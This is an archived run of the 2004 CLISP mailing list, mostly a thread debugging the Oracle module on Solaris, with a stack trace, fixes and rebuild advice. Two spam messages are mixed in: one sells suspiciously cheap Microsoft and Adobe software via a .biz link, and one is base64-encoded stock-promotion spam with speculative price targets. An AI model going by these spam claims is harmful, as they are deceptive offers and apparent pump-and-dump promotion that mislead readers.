__builtin_avcall(0xffbee270, 0x19efb1, 0x4, 0xffbee1f8, 0x4, 0xffbee2a8), at 0xf67cc [4] C_foreign_call_out(0x19efb1, 0x1a426c, 0x1a427c, 0x1, 0x4, 0x7), at 0xf2bec [5] funcall_subr(0x194062, 0x1a0800, 0x19cb1889, 0x1a2400, 0x19cb1820, 0x19cb1820), at 0x39340 [6] interpret_bytecode_(0x19cb1889, 0x19cb1820, 0x19cb1832, 0x1a2400, 0x1a2400, 0xffbee8d8), at 0x3fb50 [7] eval_closure(0x19cb1889, 0x666b6beb, 0x1a1d08, 0x1a1c00, 0x1940e9, 0x1a4254), at 0x36060 [8] eval(0x666b6beb, 0x195000, 0x19c722a0, 0x19d378, 0x199c58, 0x199c74), at 0x346f0 [9] C_read_eval_print(0x19c72359, 0x19c722a0, 0x19c722b2, 0x0, 0x390f0, 0xffbeea70), at 0xb6ca8 [10] funcall_subr(0x18e382, 0x1a0800, 0x19cbb9f1, 0x1a2400, 0xc0, 0x19c77200), at 0x3904c [11] interpret_bytecode_(0x19cbb9f1, 0x19c77200, 0x21, 0x1a1d04, 0x39948, 0xffbeec78), at 0x3f9bc [12] funcall_closure(0x19cbb9f1, 0x0, 0x0, 0x19cbba30, 0x1a422c, 0xac000000), at 0x397f0 [13] C_driver(0x3f8d4, 0x1a2400, 0x0, 0x19c771a8, 0x18e180, 0xffffffff), at 0x466c0 [14] interpret_bytecode_(0x19c77281, 0x19c771a8, 0x19c771ba, 0x0, 0x39948, 0xffbeef18), at 0x3f924 [15] funcall_closure(0x19c77281, 0x0, 0x19cb7009, 0x19bf88c8, 0xd8, 0x1a4210), at 0x397f0 [16] interpret_bytecode_(0x19cb7009, 0x19bf88c8, 0x19bf88da, 0x0, 0x39948, 0xffbef0d8), at 0x3f5bc [17] funcall_closure(0x19cb7009, 0x0, 0x0, 0x0, 0x1a0800, 0x1a2400), at 0x397f0 [18] driver(0x0, 0x2, 0x19bc0d89, 0x9, 0x18cc00, 0x0), at 0xb6f1c [19] main(0x1a4200, 0x40000, 0xffbef404, 0x1a1d04, 0x0, 0x0), at 0x2d514 From hin@van-halen.alma.com Wed Jul 14 05:53:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkjGd-0006NO-CL for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 05:53:47 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BkjGc-00044T-UO for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 05:53:47 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 7939410DF2B; Wed, 14 Jul 2004 08:53:43 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6ECrPCv019471; Wed, 14 Jul 2004 08:53:25 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6ECrPdp019462; Wed, 14 Jul 2004 08:53:25 -0400 Message-Id: <200407141253.i6ECrPdp019462@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 14 Jul 2004 14:11:04 +0200 (CEST)) Subject: Re: [clisp-list] does the oracle module work in Solaris? X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 05:55:33 2004 X-Original-Date: Wed, 14 Jul 2004 08:53:25 -0400 > Unfortunately my clisp crashes the same. hi Carlos, Yes, not surprised; I hadn't yet fixed the source of the problem, just the bugs in the error messaging which were not the cause. Today I've just checked in some fixes that, at least on my installation and database, at last give me the first known working Oracle-enabled CLISP under Solaris; most of my apps seems to work fine. There were bugs, present only on Solaris that had to do with very obscure calling requirements of Oracle's OCI layer. You can take these latest fixes and try them: http://clisp.alma.com/clisp-oracle-2004-07-14.tar.gz and see what happens. However ... > I append at the end the stack trace in the core. From your stack trace, I see you're probably experiencing yet a different issue that what I just fixed; it would probably occur when doing SELECTs with Oracle bind parameters of large size: my error message buffer overflows (how emabarrasing). What would be really helpful to me is for you to take my latest fix above try just to do the simplest possible query, e.g.: SELECT 'x' AS mycol FROM dual and see if you can at least get Oracle to execute and retrieve something very trivial. If it turns out that the trivial query works, but your "real" query is triggering the error buffer issue I'm thinking it is, I can have a fix for that soon, as I understand exactly what that problem is. bug if you could try trival query that would be great as it would eliminate most of the other theories. Thanks for all your help! All these bugs are in fact bugs under Linux as well; they don't trigger due to diffs in Intel vs. Sparc I suspect. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Wed Jul 14 06:47:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bkk68-0008QO-Md for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 06:47:00 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bkk68-0004u5-AH for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 06:47:00 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id B68C010DE26; Wed, 14 Jul 2004 09:46:59 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6EDkfCv014836; Wed, 14 Jul 2004 09:46:41 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6EDkfhR014833; Wed, 14 Jul 2004 09:46:41 -0400 Message-Id: <200407141346.i6EDkfhR014833@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 14 Jul 2004 14:11:04 +0200 (CEST)) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Subject: [clisp-list] Re: does the oracle module work in Solaris? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 06:50:58 2004 X-Original-Date: Wed, 14 Jul 2004 09:46:41 -0400 > From your stack trace, I see you're probably experiencing yet a > different issue that what I just fixed; it would probably occur when > doing SELECTs with Oracle bind parameters of large size: my error > message buffer overflows (how emabarrasing). Assuming my theory is correct (& I was able to trigger bugs w/ big bind parameter values on my own site) this should be fixed now in CVS, too. Huge param values will now get truncated for display (but it will still tell you the overall length to deal with Oracle "too large for column" errors. Carlos, you can take it from http://clisp.alma.com/clisp-oracle-2004-07-14a.tar.gz (note the "a"). This time I hope you will be happy. I think at this point I can now say there is a reasonably tested CLISP+Oracle running under Solaris, at least for Oracle 8. That's great, since Solaris is a major platform for Oracle, esp. with very the large installations; I'll probably end up using it myself. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From martym@qwickconnect.net Wed Jul 14 06:49:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bkk8F-0000P4-I5 for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 06:49:11 -0700 Received: from p166.palmanova.adriacom.it ([212.63.101.166]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1Bkk8D-0005JM-3V for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 06:49:11 -0700 Received: from mail.qwickconnect.net (mail.qwickconnect.net [$mxfmailip]) by p166.palmanova.adriacom.it (8.9.3/8.9.3) with ESMTP id eyifLuthmrAY for ; Wed, 14 Jul 2004 08:49:10 -0500 Received: from zvkwaspcgxek (211.84.153.43) by mail.qwickconnect.net (8.9.3/8.9.3) id 75aevvjDXu26 for ; Wed, 14 Jul 2004 08:49:10 -0500 From: "Salvatore Mccullough" Reply-To: "Salvatore Mccullough" Message-ID: <8252847610.0814086359@qwickconnect.net> To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] week Get Windows XP Pro for 50$ after Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 06:53:00 2004 X-Original-Date: Wed, 14 Jul 2004 08:49:10 -0500 now This is incredible. Can you imagine that stats at this time you may obtain best Adobe Photoshop for 60$ welcome this not joke or some fake with hidden inside charges. unique Don't believe ? http://huhugoo.biz/ Now only this. Leading Microsoft twice products too. You can check unique out by you own eyes. happy From Carlos.Ungil@cern.ch Wed Jul 14 07:06:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkkPF-0003fn-JQ for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:06:45 -0700 Received: from cernmx04.cern.ch ([137.138.166.167] helo=cernmxlb.cern.ch) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BkkPF-0008Lz-3V for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:06:45 -0700 Keywords: CERN SpamKiller Note: -51 Charset: west-latin X-Filter: CERNMX04 SMTPGW CERN Spam Sink v1.0 Received: from cernfe03.cern.ch ([137.138.28.244]) by cernmxlb.cern.ch with Microsoft SMTPSVC(6.0.3790.0); Wed, 14 Jul 2004 16:06:36 +0200 Received: from lxplus003.cern.ch ([137.138.4.244]) by cernfe03.cern.ch over TLS secured channel with Microsoft SMTPSVC(6.0.3790.0); Wed, 14 Jul 2004 16:06:35 +0200 From: Carlos Ungil X-X-Sender: ungil@lxplus003.cern.ch Reply-To: Carlos.Ungil@cern.ch To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net In-Reply-To: <200407141346.i6EDkfhR014833@van-halen.alma.com> Message-ID: References: <200407141346.i6EDkfhR014833@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 14 Jul 2004 14:06:35.0703 (UTC) FILETIME=[C6186C70:01C469AB] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Subject: [clisp-list] Re: does the oracle module work in Solaris? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 07:13:01 2004 X-Original-Date: Wed, 14 Jul 2004 16:06:35 +0200 (CEST) Hi John, I've just completed the compilation of clisp [*] with the previous version, and it seems to work fine (I've just done a couple of queries, though). I will now install and use the new version, and I'll let you know if something goes wrong (but I plan to use it only for light-weight reporting, so I don't expect to discover new bugs). Thanks a lot for the patches. Cheers, Carlos [*] I guess I could compile only the oracle module, but starting from scratch each time I'm sure I'm doing it right On Wed, 14 Jul 2004, John K. Hinsdale wrote: > > > From your stack trace, I see you're probably experiencing yet a > > different issue that what I just fixed; it would probably occur when > > doing SELECTs with Oracle bind parameters of large size: my error > > message buffer overflows (how emabarrasing). > > Assuming my theory is correct (& I was able to trigger bugs w/ big > bind parameter values on my own site) this should be fixed now in CVS, > too. Huge param values will now get truncated for display (but it > will still tell you the overall length to deal with Oracle "too large > for column" errors. > > Carlos, you can take it from > http://clisp.alma.com/clisp-oracle-2004-07-14a.tar.gz > (note the "a"). This time I hope you will be happy. > > I think at this point I can now say there is a reasonably tested > CLISP+Oracle running under Solaris, at least for Oracle 8. That's > great, since Solaris is a major platform for Oracle, esp. with very > the large installations; I'll probably end up using it myself. > > --- > John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA > hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 > From hin@van-halen.alma.com Wed Jul 14 07:12:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkkUJ-0004n7-Tq for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:11:59 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BkkUJ-0006jy-Kg for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:11:59 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 3643810DE1E; Wed, 14 Jul 2004 10:11:52 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6EEBYCv015338; Wed, 14 Jul 2004 10:11:34 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6EEBYgH015335; Wed, 14 Jul 2004 10:11:34 -0400 Message-Id: <200407141411.i6EEBYgH015335@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 14 Jul 2004 16:06:35 +0200 (CEST)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: does the oracle module work in Solaris? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 07:18:17 2004 X-Original-Date: Wed, 14 Jul 2004 10:11:34 -0400 > I've just completed the compilation of clisp [*] with the previous > version, and it seems to work fine (I've just done a couple of > queries, though). Most excellent ... > I will now install and use the new version, and I'll let you know if > something goes wrong (but I plan to use it only for light-weight > reporting, so I don't expect to discover new bugs). I'm still a touch curious if you were executing some SQL while using Oracle bind parameters with very long values, but if not don't worry about it. From sds@gnu.org Wed Jul 14 07:29:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkklN-00009R-Gk for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:29:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BkklM-0001e0-QQ for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 07:29:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6EETMlE006914; Wed, 14 Jul 2004 10:29:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Carlos.Ungil@cern.ch Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Carlos Ungil's message of "Wed, 14 Jul 2004 16:06:35 +0200 (CEST)") References: <200407141346.i6EDkfhR014833@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Carlos.Ungil@cern.ch Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: does the oracle module work in Solaris? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 07:32:16 2004 X-Original-Date: Wed, 14 Jul 2004 10:29:22 -0400 > * Carlos Ungil [2004-07-14 16:06:35 +0200]: > > I guess I could compile only the oracle module, but starting from > scratch each time I'm sure I'm doing it right All you need to do is type "make" in your build directory. base CLISP will _not_ be recompiled, but the full linking set _will_ be re-linked. Unfortunately, untarring the new module will break the hard links, so, to restore them, you will need to do: $ cd build $ rm -rf oracle $ make -- Sam Steingold (http://www.podval.org/~sds) running w2k The plural of "anecdote" is not "data". From lvaucher.ext@francetelecom.com Thu Jul 15 07:15:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bl70x-00068i-7O for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 07:15:11 -0700 Received: from relais-inet.francetelecom.com ([212.234.67.6]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bl70w-0003EH-JJ for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 07:15:11 -0700 Received: from [193.248.188.2] by relais-filtrant-03.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 16:15:00 +0200 Received: from fedft02a.francetelecom.fr by relais-filtrant-03.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 16:15:00 +0200 Received: from puexcc11.nanterre.francetelecom.fr by fedft02a.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 16:15:00 +0200 Received: from puexcb70.nanterre.francetelecom.fr ([10.168.74.27]) by PUEXCC11.nanterre.francetelecom.fr with Microsoft SMTPSVC(5.0.2195.5329); Thu, 15 Jul 2004 16:14:59 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.0.6556.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Message-Id: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Linking kit: availability in native Win32 Thread-Index: AcRqdhy01OkJ3WI4TRmkmKgwVs0mtA== From: VAUCHER L Ext SIRES To: X-OriginalArrivalTime: 15 Jul 2004 14:14:59.0960 (UTC) FILETIME=[1D11AF80:01C46A76] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] Linking kit: availability in native Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 15 07:16:02 2004 X-Original-Date: Thu, 15 Jul 2004 16:14:59 +0200 Hi. I discovered and practiced a little the clisp linking kit supplied with the Linux and Cygwin distributions of clisp and I wondered whether it was available for the native Win32 distribution of clisp. The :FFI feature is present, however. There is no 'clisp-link' script and no 'linkkit' directory in the clisp installation directory. So it seems that the linking kit is, at least, not shipped in the zip file. Is it somewhere else (in the distribution or on the net)? Or should I try to duplicate the functionality by adapting the existing cygwin script to use files in the right directory and compile with -mno-cygwin? Thanks again. Laurent. From sds@gnu.org Thu Jul 15 08:40:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bl8Lr-0000jd-9W for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 08:40:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bl8Lq-0003oE-Rz for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 08:40:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6FFeZ3R000870; Thu, 15 Jul 2004 11:40:35 -0400 (EDT) To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (VAUCHER L. Ext SIRES's message of "Thu, 15 Jul 2004 16:14:59 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Linking kit: availability in native Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 15 08:41:34 2004 X-Original-Date: Thu, 15 Jul 2004 11:40:35 -0400 > * VAUCHER L Ext SIRES [2004-07-15 16:14:59 +0200]: > > I discovered and practiced a little the clisp linking kit supplied > with the Linux and Cygwin distributions of clisp and I wondered > whether it was available for the native Win32 distribution of clisp. clisp binary distribution does not include the linkkit because it requires a C compiler and win32 does not come with one by default. it also requires a UNIX-like set of shell utilities which are not normally available on win32. since this is no longer the case (mingw, cygwin &c), the next CLISP release will include linkkit for win32. you can get CLISP sources and build your own clisp and then you will find the linkkit in the build directory. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From wtofrb@hothouse.com Thu Jul 15 12:49:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BlCEs-0001qR-LL for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 12:49:54 -0700 Received: from avn6.neoplus.adsl.tpnet.pl ([83.27.47.6] helo=hothouse.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BlCEr-0000Ja-Cy for clisp-list@lists.sourceforge.net; Thu, 15 Jul 2004 12:49:54 -0700 From: Therese Neace To: Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: base64 Message-ID: X-Spam-Score: 2.4 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 EXCUSE_3 BODY: Claims you can be removed from the list 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 1.1 MIME_BASE64_LATIN RAW: Latin alphabet text using base64 encoding 1.1 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding Subject: [clisp-list] Therese See This Public Company_GDNO! aperiodic Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 15 12:52:38 2004 X-Original-Date: Thu, 15 Jul 2004 13:57:21 -0500 aW5jaXNpdmUgdHVycXVvaXNlDQoNCmNhY3R1cw0KDQoqKipHRE5PKioqKkdETk8qKioqR0RO TyoqKipHRE5PKioqKkdETk8qKioqR0ROTyoqKg0KDQpSZWNvbW1lbmRhdGlvbjpfU3Ryb25n X1Byb2ZpdHNfR2V0X0ltbWVkaWF0ZWx5DQoNClRoZSBTUEVDVUxBVElWRSBORUFSIFRFUk0g VEFSR0VUIFBSSUNFIGlzIC0gJDEuMzUNClRoZSBTUEVDVUxBVElWRSBORUFSIFRFUk0gVEFS R0VUIFBSSUNFIGlzIC0gJDEuOTANCg0KSFVHRSBuZXdzIGp1c3QgcmVsZWFzZWQ6DQoNCkdv bGRlbiBPcHBvcnR1bml0eSBSZXNvdXJjZXMgSW5jLiAtIEJpZyBTbm93eSBFbmNvdW50ZXJz DQpNdWx0aXBsZSBPaWwgYW5kIEdhcyBCZWFyaW5nIFpvbmVzIGluIEJvbGVybyAxLTIzIFdl bGwNCjYwMDAgRmVldCBOb3J0aHdlc3Qgb2YgR29sZGVuIE9wcG9ydHVuaXR5IEhvbGUNCg0K U3RvY2sgU2V0IHRvIEV4cGxvZGUgb24gVGh1cnNkYXkgSnVseSAxNXRoIC0gTnVtZXJvdXMN Cm5ld3NsZXR0ZXJzIHdpbGwgcHJvZmlsZSB0aGUgY29tcGFueS4NCg0KICAgICAgICsrLi5U cmFkaW5nX0FsZXJ0Li4rKw0KDQpDb21wYW55IFByb2ZpbGUNCkdvbGRlbiBPcHBvcnR1bml0 eSBSZXNvdXJjZXMsIEluYy4sIA0KVElDS0VSOl9HRE5PDQpDdXJyZW50IFByaWNlOl8wLjM1 